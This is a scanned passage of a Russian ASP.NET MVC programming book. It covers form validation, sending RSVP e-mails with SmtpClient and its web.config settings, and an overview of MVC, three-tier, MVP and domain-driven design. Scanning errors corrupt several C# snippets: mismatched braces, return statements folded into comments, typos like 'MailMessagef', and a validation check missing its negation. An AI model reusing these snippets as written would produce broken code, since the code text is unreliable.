if ((propName == "Email") && !Regex.IsMatch(Email, ".+\\@.+\\..+")) return "Please enter a valid email address";
// был введен неправильный адрес email
if ((propName == "Phone") && string.IsNullOrEmpty(Phone))
return "Please enter your phone number";
//не был введен телефонный номер
if ((propName == "WillAttend") && (WillAttend.HasValue)
return "Please specify whether you'll attend";
//не было указано, планируется ли посещение return null;
}
}
}
На заметку! Нужно будет добавить операторы using для System. ComponentModel и System. Text.RegularExpression. Visual Studio может сделать это автоматически, если вы нажмете комбинацию <Ctrl+.>.
Если вы — сторонник элегантного кода, можете воспользоваться каким-нибудь каркасом проверки достоверности, который позволит свести все это к нескольким атрибутам С#, прикрепленным к свойствам объекта модели (например, [ValidateEmail])5. Однако для такого небольшого приложения вполне подойдет и описанная выше техника — ввиду своей простоты и читабельности.
ASP.NET MVC автоматически распознает интерфейс IDataErrorlnfo и использует его для проверки достоверности входящих данных, когда выполняет привязку модели. Давайте обновим второй метод действия RSVPForm(), чтобы в случае обнаружения ошибок при проверке достоверности он повторно отображал представление по умолчанию вместо визуализации представления Thanks:
[AcceptVerbs(HttpVerbs.Post)]
public ViewResult RSVPForm(GuestResponse guestResponse)
{
if (Modelstate.IsValid) {
// Todo: Отправить по электронной почте guestResponse организатору вечеринки return View("Thanks", guestResponse);
)
else // Ошибка проверки достоверности, поэтому отобразить форму ввода данных заново return View () ;
}
И, наконец, выберите, где отображать сообщения об ошибках проверки достоверности, добавив Html.Validationsummary () к представлению RSVPForm.азрх:
<body>
<hl>RSVP</hl>
<%= Html.Validationsummary() %>
<% using(Html.BeginForm()) { %>
. . . остальной код оставить без изменений . . .
Если теперь попробовать отправить пустую форму или ввести неверные данные, появится соответствующее сообщение (рис. 2.15).
5 Такой каркас проверки достоверности позволяет избежать жесткого кодирования сообщений об ошибках, а также облегчает интернационализацию. Подробнее об этом читайте в главе 11.
Глава 2. Первое приложение ASP.NET MVC 49
Рис. 2.15. Средство проверки достоверности в действии
Повторное отображение элементами управления введенных значений с помощью привязки модели
Ранее уже упоминалось, что так как протокол HTTP не поддерживает состояния, не следует ожидать, что элементы управления вводом будут сохранять свое состояние между множеством запросов. Однако поскольку теперь для разбора входящих данных используется привязка модели, обнаруживается, что при отображении ошибок проверки достоверности элементы управления сохранят и заново отобразят все введенные пользователем значения. Создается впечатление хранения состояния элементов управления — как раз то, что пользователь ожидает. Этот удобный легковесный механизм встроен в системы привязки моделей ASP.NET MVC и вспомогательных методов HTML. Он подробно рассматривается в главе 11.
На заметку! Если вы работали с платформой ASP.NET WebForms, то знаете, что в ней имеется концепция “серверных элементов управления”, которые сохраняют состояние, выполняя сериализацию значений в скрытое поле по имени_viewstate. Будьте уверены, что привязка
модели ASP.NET MVC не имеет совершенно ничего общего с концепцией серверных элементов управления, обратными отправками или ViewState. Механизм ASP.NET MVC не добавляет в сгенерированные HTML-страницы ни скрытого поля_viewstate, ни чего-либо подобного.
Завершающие штрихи
Последнее требование связано с отправкой заполненных форм RSVP организатору вечеринки. Это можно сделать непосредственно в методе действия, однако более логично включить это поведение в модель. В конце концов, могут существовать и другие пользовательские интерфейсы, работающие с той же моделью и желающие присылать объекты GuestResponse.
50 Часть I. Введение в ASP.NET MVC
Добавьте в класс GuestResponse следующие методы6: public void Submit() {
EnsureCurrentlyValid();
// Отправить по электронной почте var message = new StringBuilder();
message.AppendFormat("Date: {0:yyyy-MM-dd hh:mm}\n", DateTime.Now);
message.AppendFormat("RSVP from: {0}\n", Name);
message.AppendFormat("Email: {0}\n", Email);
message.AppendFormat("Phone: {0}\n", Phone);
message.AppendFormat("Can come: {0}\n", WillAttend.Value ? "Yes" : "No");
SmtpClient smtpClient = new SmtpClient();
smtpClient.Send(new MailMessagef
"rsvps@example.com",	// От
"party-organizer@example.com",	// Кому
Name + (WillAttend.Value ? " will attend" : " won't attend"), // Тема message.ToString()	// тело сообщения
)) ; } private void EnsureCurrentlyValid() {
// Является достоверным, если IDataErrorlnfo.this [ ] возвращает null // для каждого свойства var propsToValidate = new[] { "Name", "Email", "Phone", "WillAttend" ); bool isValid = propsToValidate.All(x => this[x] == null); if (!isValid)
// Недопустимый GuestResponse отправлять нельзя throw new InvalidOperationException("Can't submit invalid GuestResponse"); }
Если вы незнакомы с понятием лямбда-методов C# (т. е. х => this[x] == null), обратитесь к последним разделам главы 3, где они объясняются.
И, наконец, вызовите Submit О из второй перегрузки RSVPFormO, отправляя проверенный ответ гостя по электронной почте:
[AcceptVerbs(HttpVerbs.Post)] public ViewResult RSVPForm(GuestResponse guestResponse) { if (Modelstate.IsValid) {
guestResponse.Submit();
return View("Thanks", guestResponse); }
else // Сйибка проверки достоверности, поэтому заново отобразить форму ввода данных return View();
}
Как и было обещано, класс модели GuestResponse защищает собственную целостность, не позволяя выполнять отправку недостоверных данных. Уровень модели не может просто полагаться на то, что уровень пользовательского интерфейса (контроллеры и действия) будет всегда знать и соблюдать его правила.
6Потребуется также добавить операторы using System; using System.Net.Mail; и using System.Text;.
Глава 2. Первое приложение ASP.NET MVC 51
Конечно, чаще принято хранить данные модели в базе данных, чем отправлять их по электронной почте, и в этом случае объекты модели обычно проверяют себя перед помещением в базу. В главном примере главы 4 будет демонстрироваться один из возможных способов использования ASP.NET MVC с SQL Server.
Конфигурирование SmtpClient
В этом примере для отправки электронной почты используется API-интерфейс .NET SmtpClient. По умолчанию он берет настройки почтового сервера из файла web.config. Чтобы сконфигурировать его для отправки электронной почты через определенный SMTP-сервер, добавьте в файл web.config следующий фрагмент:
<configuration>
<system.net>
<mailSettings>
<smtp deliveryMethod="Network">
Cnetwork host="smtp.example.com"/>
</smtp>
</mailSettings>
</system.net>
</configuration>
Во время разработки имеет смысл сохранять сообщения в локальном каталоге, не используя действующий почтовый сервер. Ниже приведены соответствующие настройки:
<configuration>
<system.net>
<mailSettings>
<smtp deliveryMethod="SpecifiedPickupDirectory">
<specifiedPickupDirectory pickupDirectoryLocation=”c:\email" />
</smtp>
</mailSettings>
</system.net>
</configurat ion>
Это позволит записывать файлы .eml в специфический каталог (здесь — c:\email), который должен существовать и быть доступным для записи. Двойной щелчок на файлах .eml в Windows Explorer вызывает открытие приложения Outlook Express или Windows Mail.
Резюме
В этой главе было показано, как построить простое приложение ввода данных с использованием ASP.NET MVC — вы смогли получить первоначальное представление о работе архитектуры MVC. Приведенный пример не демонстрирует всю мощь MVC (например. пока речи не шло о маршрутизации и автоматизации тестирования). В следующих двух главах подробно рассматриваются аспекты разработки, позволяющие создавать качественные и современные веб-приложения MVC, и будет предложен пример построения полноценного сайта электронного магазина, более полно демонстрирующий возможности этой платформы.
ГЛАВА 3
Предварительные условия
Прежде чем приступить в следующей главе к созданию реального приложения ASP.NET MVC электронного магазина, важно ознакомиться с применяемой архитектурой, шаблонами проектирования, инструментами и приемами. В этой главе рассматриваются следующие вопросы.
•	Архитектура MVC.
•	Модели предметной области и служебные классы.
•	Создание слабо связанных систем с использованием контейнера инверсии управления (Inversion of Control — IoC).
•	Основы автоматизированного тестирования.
•	Новые языковые средства версии C# 3.0.
Возможно, с этими вопросами вы никогда ранее не сталкивались, а может быть, использовали только некоторую их комбинацию. Если что-то покажется знакомым — пропускайте и двигайтесь далее. Большинство читателей найдет здесь массу нового материала, и пусть это всего лишь краткий обзор, он закладывает фундамент для эффективного применения MVC.
Определение архитектуры
“модель-представление-контроллер”
К этому моменту вам должно быть известно, что приложения ASP.NET MVC строятся на основе архитектуры “модель-представление-контроллер” (model-view-controller — MVC). Но что она собой представляет и каково ее назначение? В самом общем виде приложение разделяется на (минимум) три отдельные части.
•	Модель, которая представляет элементы, операции и правила, имеющие определенный смысл в предметной области приложения. В банковском деле к элементам можно отнести банковские счета, кредитные лимиты, к операциям — переводы средств, а правила могут требовать, чтобы баланс на счетах оставался в пределах кредитных лимитов. Модель также хранит состояние мира приложения на текущий момент, но она полностью избавлена от какого-либо упоминания пользовательского интерфейса.
Глава 3. Предварительные условия 53
•	Набор представлений, описывающих визуализацию некоторой части модели в виде наглядного пользовательского интерфейса, но не содержащих в себе никакой логики.
•	Набор контроллеров, которые обрабатывают входящие запросы, выполняют операции над моделью и выбирают представление для визуализации пользователю.
Существует множество вариаций шаблона MVC, каждый имеет собственную терминологию и небольшие отличия в акцентах, но все они преследуют одну общую цель — разделение ответственности. При строгом разделении ответственности приложение проще сопровождать и развивать на протяжении его жизненного цикла, независимо от того, насколько большим оно станет. В последующем обсуждении не будут использоваться точные академические или исторические определения каждого аспекта MVC; вместо этого вы узнаете, почему MVC является настолько важной архитектурой, и как она эффективно работает в рамках ASP.NET MVC.
В некоторых отношениях проще всего понять шаблон проектирования MVC, поняв чем он не является, поэтому давайте начнем с рассмотрения альтернатив.
Антишаблон Smart UI
Чтобы построить приложение с интеллектуальным интерфейсом (Smart UI), разработчик сначала конструирует пользовательский интерфейс — перетаскивает набор графических элементов на полотно1 и наполняет кодом обработчики событий для каждого возможного щелчка на кнопке или другого события. Вся логика приложения расположена в обработчиках событий: логика для приема и проверки пользовательского ввода, для выполнения доступа к данным и их хранения, а также для предоставленпя отклика обновлением пользовательского интерфейса. Все приложение состоит из этих обработчиков событий. По существу это то, что получается у новичка, когда он начинает применять Visual Studio.
При таком дизайне разделение ответственности вообще отсутствует. Все смешано в кучу; разделение производится только в терминах различных событий пользовательского интерфейса, которые могут произойти. Если логика или бизнес-правила должны применяться в более чем одном обработчике, код обычно просто копируется из одного обработчика в другой, или же некоторые произвольно выбранные сегменты выносятся в статические служебные классы. По многим очевидным причинам такого рода шаблон проектирования часто называют антишаблоном (antl-pattem).
Давайте не станем слишком задерживаться на Smart UI. Все мы разрабатывали подобные приложения, и фактически такой дизайн даже обладает рядом преимуществ, которые делают его наилучшим выбором в определенных ситуациях.
1.	Он позволяет получить видимый результат исключительно быстро. За какие-то дни или даже часы можно получить нечто функциональное и продемонстрировать это клиенту или боссу.
2.	Если проект очень мал (и не будет расти), т.е. сложность никогда не станет проблемой, то стоимость более изощренной архитектуры перевешивает ее преимущества.
3.	Имеется наиболее очевидная ассоциация между элементами графического пользовательского интерфейса и подпрограммами в коде. Это приводит к очень простой ментальной модели для разработчиков, которая может оказаться единственно возможным выбором для команды разработчиков с невысокой квалификацией и опытом. В этом случае попытки построить более сложную архитектуру могут
1 В ASP.NET WebForms для этого пишется набор дескрипторов, оснащенных специальным атрибутом runat=”server".
54 Часть I. Введение в ASP.NET MVC
просто привести к потраченному впустую времени и худшему результату, чем с использованием Smart UI.
4.	Метод копирования-вставки несет в себе естественный (хотя и извращенный) вид уменьшения степени связанности системы. Во время сопровождения можно изменить индивидуальное поведение или исправить отдельную ошибку, не опасаясь, что это затронет другие части приложения.
Вы, вероятно, имели возможность столкнуться с недостатками такого антишаблона проектирования. Сопровождение таких приложений усложняется экспоненциально с добавлением каждого нового средства: поскольку определенной структуры не существует, запомнить, что делает та или иная часть кода, не удастся. Во избежание рассогласованности, изменения приходится проводить в нескольких местах: и, очевидно, нет никакой возможности создавать модульные тесты. В пределах одного или двух человеко-лет такие приложения имеют тенденцию рушиться под собственным весом.
Вполне допустимо принимать обоснованное решение о построении приложения в стиле Smart UI, когда вы чувствуете, что это обеспечит достижение наилучшего компромисса между “за” и “против” (в этом случае используйте классическую технологию WebForms, а не ASP.NET MVC, потому что WebForms поддерживает более простую модель событий) и конечный потребитель согласен с ограниченным временем жизни полученного в результате приложения.
Выделение модели предметной области
В ответ на ограничения архитектуры Smart UI появилось широко признанное усовершенствование, которое сулит огромные выгоды в части стабильности и сопровождаемости приложений.
Идентифицируя сущности реального мира, операции и правила, действующие в отрасли или субъекте, на который вы нацелены (предметной области), и создавая программное представление этой предметной области (обычно объектно-ориентированное представление, поддерживаемое системой постоянного хранения наподобие реляционной базы данных), вы создаете модель предметной области. Какие выгоды это дает?
•	Во-первых, это естественное место для размещения бизнес-правил и прочей логики предметной области. В результате одни и те же бизнес-процессы происходят вне зависимости от того, какой конкретно код пользовательского интерфейса выполняет операции в предметной области (например “открыть новый банковский счет”).
•	Во-вторых, это дает очевидную возможность сохранять и восстанавливать состояние мира приложения на определенный момент времени, не дублируя нигде более код постоянного хранения.
•	В-третьих, классы модели предметной области и граф наследования можно проектировать и структурировать в соответствии с той же терминологией и понятиями, которые используются экспертами в предметной области. Это позволит сформировать универсальный язык для программистов и бизнес-экспертов, улучшит взаимодействие между ними и повысит вероятность того, что будет создано то, что действительно нужно заказчику (программисты, работающие над пакетом бухучета, могут вообще не понимать, что означает учет по методу начислений, если в их коде не используется та же терминология).
В приложении .NET имеет смысл держать модель предметной области в отдельной сборке (например, в отдельном проекте библиотеки классов C# или в нескольких таких проектах); это позволит постоянно помнить о различии между моделью предметной области и пользовательским интерфейсом приложения. Необходимо иметь ссылку из
Глава 3. Предварительные условия 55
проекта пользовательского интерфейса на проект модели предметной области. Однако ссылок в противоположном направлении быть не должно, потому что модели предметной области нет никакого дела до реализации пользовательского интерфейса, которая работает с ней. Например, если модели предметной области отправлена неверно оформленная запись, то она должна вернуть структуру данных с сообщением об ошибке, обнаруженной при проверке достоверности, но не должна пытаться как-то отобразить эту ошибку на экране (это работа пользовательского интерфейса).
Архитектура “модель-представление”
Если в приложении существует единственное разделение между пользовательским интерфейсом и моделью предметной области2, то такая архитектура называется архитектурой “модель-представление” (рис. 3.1).
Обычно сохраняется в реляционной базе данных
Рис. 3.1. Архитектура “модель-представление" для веб-приложений
Она организована намного лучше и проще в сопровождении, чем архитектура Smart UI, но все равно имеет две существенные слабости.
•	Компонент модели включает массу повторяющегося кода обращения к данным, который специфичен для поставщика конкретной используемой базы данных. Он перемешан с кодом бизнес-процессов и правилами действительной модели предметной области, заслоняя тот и другой.
•	Поскольку модель и пользовательский интерфейс тесно связаны с платформами базы данных и графического пользовательского интерфейса, становится очень трудно (если не невозможно) выполнять автоматизированное тестирование того и другого или же повторно использовать любую часть этого кода с другой базой данных либо другими технологиями графического пользовательского интерфейса.
Трехъярусная архитектура
Недостатки предыдущей архитектуры частично устранены в трехъярусной архитектуре3. В ней код постоянного хранения отделяется от модели предметной области и выносится в отдельный третий компонент, который называется уровнем доступа к данным (data access layer — DAL) (рис. 3.2).
2	В данной книге применяется термин модель предметной области, но если вам ближе варианты бизнес-логика или бизнес-механизм, то можете использовать их. Версия “модель предметной области” выбрана потому, что она перекликается с концепциями предметноуправляемого проектирования (об этом речь пойдет позже).
3	Некоторые полагают, что ее следует называть трехуровневой (three-layer) архитектурой, потому что понятие ярус (tier) обычно относится к физически разделенным программным службам (т.е. выполняющимся на разных серверах или, по крайней мере, в разных процессах операционной системы). Однако в данном обсуждении это несущественно.
56 Часть I. Введение в ASP.NET MVC
Ответ
Рис. 3.2. Трехъярусная архитектура
Часто, хотя и не обязательно, уровень DAL строится в соответствии с шаблоном Repository (репозиторий), в котором объектно-ориентированное представление хранилища данных служит фасадом, скрывающим реляционную базу данных. Например, может существовать класс по имени OrdersRepository, у которого есть такие методы, как GetAllOrders () или DeleteOrder (int orderlD). Они используют лежащую в основе базу данных для извлечения (удаления, обновления и т.д.) экземпляров объектов модели, которые соответствуют заданному критерию. Если добавить шаблон Abstract Factory (абстрактная фабрика), означающий, что модель не будет связана ни с какой конкретной реализацией репозитория данных, а вместо этого получать к нему доступ только через интерфейсы и абстрактные базовые классы .NET, то модель становится полностью отделенной от технологии баз данных. Это значит, что появляется возможность легко создавать автоматизированные тесты для проверки ее логики, используя фиктивные или имитированные репозитории для симуляции различных условий. В следующей главе эта техника будет показана в действии.
В настоящее время трехъярусная архитектура является одной из наиболее широко распространенных архитектур программного обеспечения. Причина ее популярности в том, что она обеспечивает хорошее разделение ответственности, не приводя к чрезмерному усложнению, а также в том, что она не накладывает никаких ограничений на реализацию пользовательского интерфейса, а потому отлично совместима с платформами графического пользовательского интерфейса, состоящего из форм и элементов управления (например, Windows Forms или ASP.NET WebForms).
Трехъярусная архитектура отлично подходит для описания общего дизайна программного продукта, но ничего не говорит о том, что происходит внутри уровня пользовательского интерфейса. Это не слишком хорошо в ситуациях, когда логика, встроенная в компонент пользовательского интерфейса, начинает разрастаться до огромных размеров подобно снежному кому. Так происходит из-за того, что зачастую намного быстрее и проще добавить новое поведение непосредственно в обработчик события (в духе Smart UI), чем выполнить рефакторинг модели предметной области. Когда уровень пользовательского интерфейса напрямую связан с применяемой платформой графического пользовательского интерфейса (Windows Forms, WebForms). создание каких-либо автоматизированных тестов для него практически невозможно. В результате весь новый код, таящий в себе неприятности, избегает какого-либо контроля. Неспособность трехъярусной архитектуры обеспечить дисциплину на уровне пользовательского интерфейса в худшем случае приводит к получению приложения в стиле Smart UI с жалкой пародией на модель предметной области внутри.
Архитектура “модель-представление-контроллер”
Если вы видите, что даже после рефакторинга модели предметной области код пользовательского интерфейса остается громоздким и сложным, архитектура MVC позволит разделить компонент пользовательского интерфейса на две части (рис. 3.3).
Глава 3. Предварительные условия 57
Модель
Обычно сохраняется — в реляционной _ базе данных, возможно, через репозитории
презентации
Рис. 3.3. Архитектура MVC для веб-приложений
В рамках этой архитектуры запросы направляются классу контроллера, который обрабатывает пользовательский ввод и взаимодействует с моделью предметной области для обработки запроса. В то время как модель предметной области содержит в себе логику предметной области (т.е. бизнес-объекты и бизнес-правила), контроллеры включают логику приложения, такую как навигация по многошаговым процессам или технические детали вроде аутентификации. Когда наступает момент производства видимого для пользователя интерфейса, контроллер подготавливает данные, которые должны быть отображены [модель презентации, или ViewData в ASP.NET MVC, которой может быть, например, список объектов Product, соответствующих запрошенной категории), выбирает представление и предоставляет ему выполнить остальную работу. Поскольку классы контроллеров не привязаны к технологии пользовательского интерфейса (HTML), они представляют собой лишь простую, тестируемую логику.
Представления — это простые шаблоны для преобразования ViewData в конечную HTML-разметку. Они могут содержать базовую логику, связанную только с презентацией, например, способность прохода по списку объектов для генерации строки HTML-таблицы для каждого объекта или способность скрывать или показывать раздел страницы в соответствии с установленным флагом в ViewData, но ничего сложнее этого. Обычно проводить автоматизацию тестирования вывода представлений не рекомендуется (единственный способ мог бы предусматривать проверку специфических шаблонов HTML, но и он недостаточно надежен), поэтому вывод должен сохраняться насколько возможно простым.
Не пугайтесь, если все это пока кажется неясным; скоро будет приведена масса примеров. Если вам сейчас трудно понять, как отделить представление от контроллера, как это часто бывает в начале изучения архитектуры MVC (скажем, куда поместить TextBox — в представление или в контроллер?), то это, скорее всего, потому, что вы до сих пор использовали технологии, которые делали такое разделение трудным или невозможным, например, те же Windows Forms или ASP.NET WebForms. Ответ на вопрос о TextBox состоит в том. что вы отныне не должны думать в терминах графических элементов пользовательского интерфейса, а только в терминах запросов и ответов, что более соответствует модели веб-приложений.
Реализация в ASP.NET MVC
В контексте ASP.NET MVC контроллеры — это классы .NET, обычно унаследованные от встроенного базового класса Controller. Каждый общедоступный метод класса-наследника Controller называется методом действия; он автоматически ассоциируется с URL в конфигурируемой схеме URL и после выполнения некоторых операций может визуализировать выбранное представление. Механизмы ввода (получения данных из HTTP-запроса) и вывода (визуализации представления, перенаправления запроса к другому действию и т.п.) спроектированы с учетом обеспечения тестируемости, поэтому во время реализации и тестирования привязка к какому-либо активному веб-серверу не требуется.
58 Часть I. Введение в ASP.NET MVC
Хотя и поддерживается выбор механизмов представлений, по умолчанию представлениями будут модернизированные страницы ASP.NET WebForms, обычно реализованные в виде шаблонов ASPX (без файлов с классами отделенного кода) и всегда свободные от сложностей, связанных с VlewState и обратными отправками. Шаблоны ASPX обеспечивают знакомый, обслуживаемый Visual Studio способ определения HTML-разметки со встроенным кодом C# для взаимодействия с ViewData, предоставленного контроллером.
В ASP.NET MVC реализация модели оставляется полностью на усмотрение разработчика. Никакой определенной инфраструктуры для модели предметной области не предлагается, поскольку для этого достаточно простой библиотеки классов С#, расширенных средств .NET, а также выбранной базы данных и кода доступа к данным либо инструмента ORM. Хотя по умолчанию все новые проекты ASP.NET MVC включают папку по имени /Models, лучше хранить код модели предметной области в отдельном проекте библиотеки классов Visual Studio. О реализации модели предметной области речь пойдет далее в главе.
История и преимущества
Понятие “модель-представление-контроллер" существует с конца 1970-х годов и ведет свою родословную от проекта Smalltalk в Xerox PARC. Изначально оно задумывалось как способ организации некоторых первых приложений с графическим пользовательским интерфейсом, хотя определенные аспекты его значения в наши дни — особенно в контексте веб-приложений — несколько отличаются от изначального мира “экранов” и “инструментов” Smalltalk. Например, изначальный дизайн Smalltalk предполагал, что представление обновляет себя всякий раз, когда изменяется лежащая в его основе модель данных, следуя шаблону Observer Synchronization (синхронизации с наблюдателем), что является бессмысленным, если представление уже визуализировано в виде HTML-страницы в чьем-то браузере.
В наши дни сущность шаблона проектирования MVC отлично работает с веб-приложениями по чследующим причинам.
•	Взаимодействие с приложением MVC следует естественному циклу действий пользователя и обновлений представления, причем предполагается, что представление не имеет состояния, а это хорошо отображается на цикл запросов и ответов HTTP.
•	Приложения MVC стимулируют естественное разделение ответственности. Во-первых, это облегчает чтение и понимание кода, а, во-вторых, логика контроллера отделена от смеси HTML-разметки, поэтому большая часть уровня пользовательского интерфейса приложения может быть субъектом автоматизированного тестирования.
ASP.NET MVC — не первая веб-платформа, следующая архитектуре MVC. Технология Ruby on Rails также основана на MVC, и хотя она появилась позже других, ее преимущества уже доказаны платформами Apache Struts, Spring MVC и многими другими.
Вариации архитектуры “модель-представление-контроллер”
Вы уже познакомились с ключевой конструкцией приложения MVC, особенно с той, которая обычно встречается в ASP.NET MVC. Однако другие интерпретируют MVC иначе, добавляя, исключая или изменяя компоненты в соответствии с областью применения и назначением проектов.
Глава 3. Предварительные условия 59
Расположение кода доступа к данным
Архитектура MVC не накладывает никаких ограничений на реализацию компонента модели. При желании осуществлять доступ к данным можно через абстрактные репозитории (и фактически это будет сделано в примере следующей главы), но это все равно соответствует архитектуре MVC, даже если на первый взгляд так не кажется.
Размещение логики предметной области непосредственно в контроллерах
Взглянув на предыдущую диаграмму (см. рис. 3.3), несложно понять, что нет никаких строгих правил, которые заставили бы разработчиков корректно разделять логику между контроллерами и моделью предметной области. Даже несмотря на то, что поступать так не следует, вполне возможно, под давлением сиюминутных обстоятельств, поместить логику предметной области в контроллер, например, потому, что так проще сделать в конкретный момент. Лучший способ противостоять такой недисциплинированности, выражающейся в смешивании модели с контроллером, состоит в том, чтобы добиваться хорошего покрытия кода автоматизированными тестами, поскольку даже имена этих тестов позволят судить о том, верно или неверно организована логика.
В большей части демонстрационного кода примеров ASP.NET MVC вообще пренебрегают разделением между контроллерами и моделью предметной области, и это можно назвать архитектурой “контроллер-представление". Для реальных приложений такой подход нежелателен, так как теряются все перечисленные ранее преимущества модели предметной области. Моделирование предметной области рассматривается в последующих разделах данной главы.
Архитектура “модель-представление-презентатор”
Архитектура "модель-представление-презентатор” (Model-View-Presenter — MVP) — это новая вариация MVC, которая больше подходит для платформ графического пользовательского интерфейса, хранящих состояние, таких как Windows Forms или ASP.NET WebForms. При использовании ASP.NET MVC знать о MVP не обязательно, однако во избежание путаницы ниже приводятся некоторые пояснения.
По сути, презентатор (presenter) несет те же обязанности, что и контроллер в MVC. Однако вдобавок он имеет некоторую связь с представлением, имеющим состояние, непосредственно редактируя значения, которые отображаются в графических элементах интерфейса в соответствии с пользовательским вводом (вместо того, чтобы давать возможность представлению визуализировать себя по шаблону).
Существуют две основных разновидности MVP.
•	Пассивное представление, не имеющее логики, а просто содержащее графические элементы пользовательского интерфейса, которыми манипулирует презентатор.
•	Наблюдающий контроллер, при котором представление может отвечать за определенную логику презентации, такую как привязка данных на основе ссылки на некоторый источник данных в модели.
Разница между этими двумя разновидностями довольно суб ьективна и определяется только тем, насколько интеллектуальным должно быть представление. В любом случае презентатор отделен от технологии графического пользовательского интерфейса, поэтому его логику легко понять и протестировать с помощью автоматизированных тестов.
Некоторые утверждают, что модель отделенного кода ASP.NET WebForms подобна разновидности MVP с наблюдающим контроллером, в котором разметка ASPX — это представление, а класс отделенного кода — презентатор. Однако на самом деле страницы ASPX с их классами отделенного кода настолько тесно связаны между собой, что
60 Часть I. Введение в ASP.NET MVC
между ними невозможно просунуть лезвие бритвы. Рассмотрим, к примеру, событие itemDataBound сетки данных; это ответственность представления, но обрабатывается это событие в классе отделенного кода: такой подход явно не соответствует законам MVP. Существуют способы реализации настоящего дизайна MVP с помощью WebForms, обращаясь к иерархии элементов управления только через интерфейс, но это сложно и в этом случае придется постоянно “сражаться” с платформой. Многие пытались делать это и многие сдавались.
ASP.NET MVC следует принципам шаблона MVC, а не MVP, потому что архитектура MVC остается более популярной и она существенно проще для веб-приложений.
Моделирование предметной области
Вы уже убедились, что имеет смысл брать объекты реального мира, его процессы и правила, описывающие субъект программного обеспечения, и инкапсулировать их в компонент, именуемый моделью предметной области. Этот компонент — сердце вашей программы; он составляет его вселенную. Все остальное (включая контроллеры и представления) — просто технические детали, предназначенные для поддержки или обеспечения взаимодействия с моделью предметной области. Эрик Эванс (Eric Evans), лидер в области предметно-управляемого проектирования (domain-driven design — DDD), высказался по этому поводу следующим образом.
Часть программного обеспечения, которая, в частности, решает задачи из модели предметной области, обычно составляет лишь небольшую часть всей программной системы, хотя ее важность непропорциональна ее размеру. Чтобы применить наши умственные способности наилучшим образом, мы должны иметь возможность посмотреть на элементы модели и увидеть их в виде системы. Мы не должны выделять их из огромной кучи объектов, подобно поиску созвездия на ночном небе. Нам нужно четко отделить объекты предметной области от других: функций системы, тогда мы сможем избежать путаницы концепций предметной области с концепциями, относящимися только к технологии программирования, и не потерять из виду предметную область в общей массе системы.
Domain-Driven Design: Tackling Complexity in the Heart of Software, by Eric Evans (Addison-Wesley, 2004)
Платформа ASP.NET MVC не содержит никакой специфической технологии, относящейся к моделированию предметной области (взамен она полагается на то, что унаследовала от каркаса .NET Framework и его “экосистемы”), поэтому в книге нет главы, посвященных моделированию предметной области. Тем не менее, моделирование — это М в аббревиатуре MVC, поэтому вообще его проигнорировать нельзя. В следующем разделе будет показан небольшой пример реализации модели предметной области с помощью .NET и SQL Server, в котором используются некоторые базовые приемы DDD.
Пример модели предметной области
Наверняка у вас имеется опыт "мозговых штурмов” моделей предметной области в прежних проектах. Обычно в этом участвует один или более разработчиков, один или более бизнес-экспертов, классная доска и куча печенья. По истечении некоторого времени появляется первая черновая модель бизнес-процессов, которые должны быть автоматизированы. Например, если вы собираетесь реализовать сайт онлайновых аукционов, то можно начать с модели, похожей на показанную на рис. 3.4.
Глава 3. Предварительные условия 61
Member
+LoginName +ReputationPoints
Bid
+DatePlaced +BidAmount
Item
+ltemlD
+Title
+Description
+AuctionEndDate
+AddBid(in member, in amount)
Рис. 3.4. Черновая модель предметной области системы онлайновых аукционов
Диаграмма показывает, что модель содержит набор участников (Member), каждый из которых размещает ряд заявок (Bid) на предметы торгов (Item). На один предмет торгов может поступать множество заявок от разных участников.
Сущности и объекты значений
В этом примере участники аукциона и предметы торгов — зто сущности, в то время как заявки — просто объекты значений. Если вы не знакомы с этими терминами моделирования предметной области, вот пояснение: сущности характеризуются постоянной идентичностью на протяжении их времени жизни, независимо от того, как меняются их атрибуты, а объекты значений определяются лишь значениями их атрибутов. Объекты значений логически неизменны, потому что любое изменение значения атрибута дает совершенно новый объект. Сущности обычно имеют один уникальный ключ (первичный ключ), тогда как объекты значений в нем не нуждаются.
Универсальный язык
Ключевым преимуществом реализации модели предметной области как отдельного компонента является возможность ее проектирования в соответствии с выбранным языком и терминологией. Старайтесь найти и придерживаться четкой терминологии для описания сущностей, операций и отношений, которые имеют смысл не только для разработчиков, но также и для экспертов в предметной области. Скажем, вам ближе понятия пользователи и роли, а экспертам в предметной области — агенты и распродажи. Даже если вы моделируете концепции, для которых у экспертов предметной в области нет устоявшихся терминов, старайтесь достигнуть с ними соглашения об универсальном языке. В противном случае не будет уверенности в том, что моделируются те же самые процессы и отношения, которые имеют в виду эксперты предметной области. Универсальный язык настолько важен по двум основным причинам.
• Разработчики естественным образом говорят на языке кода, оперируя терминами “имя класса”, “таблица базы данных” и т.п. Сохранение терминов кода в согласованном состоянии с терминами, используемыми экспертами в предметной области, и терминами, применяемыми в пользовательском интерфейсе приложения, гарантирует простоту обшения. В противном случае нынешние и будущие разработчики с большой вероятностью будут неверно интерпретировать запросы о новых средствах или отчеты об ошибках, или же введут в пользователей ступор, сказав нечто вроде “Пользователь не имеет ассоциированной с ним роли для доступа к этому узду” (что может показаться свидетельством неверно работающего программного обеспечения) вместо того, чтобы сказать “Агент не имеет права доступа к этому документу”.
62 Часть I. Введение в ASP.NET MVC
• Это позволяет избежать чрезмерного обобщения программного обеспечения. Мы, программисты, имеем склонность моделировать не только конкретную бизнес-реальность, но любую возможную реальность (скажем, в примере с аукционом заменять “участников» и “предметы торгов” общим понятием “ресурсов”, связанных не “заявками”, а “отношениями”). Пренебрегая ограничением модели предметной области теми же пределами, которыми ограничен конкретный бизнес в конкретной отрасли, вы отвергаете возможность понимания его работы, и в будущем обрекаете себя на реализацию средств, которые будут выглядеть как неуклюжие частные случаи в вашем элегантном метамире. Ограничения не лимитируют; но направляют.
В случае необходимости будьте готовы к рефакторингу модели предметной области. Эксперты в DDD говорят, что любое изменение в универсальном языке означает изменение в программном обеспечении. Если вы позволите программной модели не соответствовать текущему пониманию предметной области, принудительно транслируя концепции на уровне пользовательского интерфейса, то, несмотря на внутреннее сопротивление, ваш компонент модели станет причиной пустой траты усилий разработчиков. Помимо того, что это станет притягивать к себе ошибки, это также может означать, что некоторые запросы реализации совершенно простых вещей станут исключительно трудными в реализации, и вы не сможете объяснить зто клиентам.
Агрегаты и упрощение
